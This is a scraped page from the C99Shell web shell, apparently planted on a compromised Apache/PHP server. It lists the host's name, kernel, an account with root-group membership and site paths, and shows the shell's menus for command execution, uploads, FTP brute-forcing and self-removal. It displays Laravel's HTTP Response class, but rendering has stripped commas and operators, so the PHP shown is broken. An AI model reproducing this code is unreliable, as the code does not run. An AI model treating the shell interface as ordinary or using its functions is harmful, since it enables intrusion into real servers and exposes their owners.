!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/vendor/laravel/framework/src/Illuminate/Http/   drwxr-xr-x
Free 28.8 GB of 117.98 GB (24.41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Response.php (3.01 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Http;

use 
ArrayObject;
use 
Illuminate\Contracts\Support\Arrayable;
use 
Illuminate\Contracts\Support\Jsonable;
use 
Illuminate\Contracts\Support\Renderable;
use 
Illuminate\Support\Traits\Macroable;
use 
InvalidArgumentException;
use 
JsonSerializable;
use 
Symfony\Component\HttpFoundation\Response as SymfonyResponse;
use 
Symfony\Component\HttpFoundation\ResponseHeaderBag;

class 
Response extends SymfonyResponse
{
    use 
ResponseTraitMacroable {
        
Macroable::__call as macroCall;
    }

    
/**
     * Create a new HTTP response.
     *
     * @param  mixed  $content
     * @param  int  $status
     * @param  array  $headers
     * @return void
     *
     * @throws \InvalidArgumentException
     */
    
public function __construct($content ''$status 200, array $headers = [])
    {
        
$this->headers = new ResponseHeaderBag($headers);

        
$this->setContent($content);
        
$this->setStatusCode($status);
        
$this->setProtocolVersion('1.0');
    }

    
/**
     * Set the content on the response.
     *
     * @param  mixed  $content
     * @return $this
     *
     * @throws \InvalidArgumentException
     */
    
public function setContent($content)
    {
        
$this->original $content;

        
// If the content is "JSONable" we will set the appropriate header and convert
        // the content to JSON. This is useful when returning something like models
        // from routes that will be automatically transformed to their JSON form.
        
if ($this->shouldBeJson($content)) {
            
$this->header('Content-Type''application/json');

            
$content $this->morphToJson($content);

            if (
$content === false) {
                throw new 
InvalidArgumentException(json_last_error_msg());
            }
        }

        
// If this content implements the "Renderable" interface then we will call the
        // render method on the object so we will avoid any "__toString" exceptions
        // that might be thrown and have their errors obscured by PHP's handling.
        
elseif ($content instanceof Renderable) {
            
$content $content->render();
        }

        
parent::setContent($content);

        return 
$this;
    }

    
/**
     * Determine if the given content should be turned into JSON.
     *
     * @param  mixed  $content
     * @return bool
     */
    
protected function shouldBeJson($content)
    {
        return 
$content instanceof Arrayable ||
               
$content instanceof Jsonable ||
               
$content instanceof ArrayObject ||
               
$content instanceof JsonSerializable ||
               
is_array($content);
    }

    
/**
     * Morph the given content into JSON.
     *
     * @param  mixed  $content
     * @return string
     */
    
protected function morphToJson($content)
    {
        if (
$content instanceof Jsonable) {
            return 
$content->toJson();
        } elseif (
$content instanceof Arrayable) {
            return 
json_encode($content->toArray());
        }

        return 
json_encode($content);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0032 ]--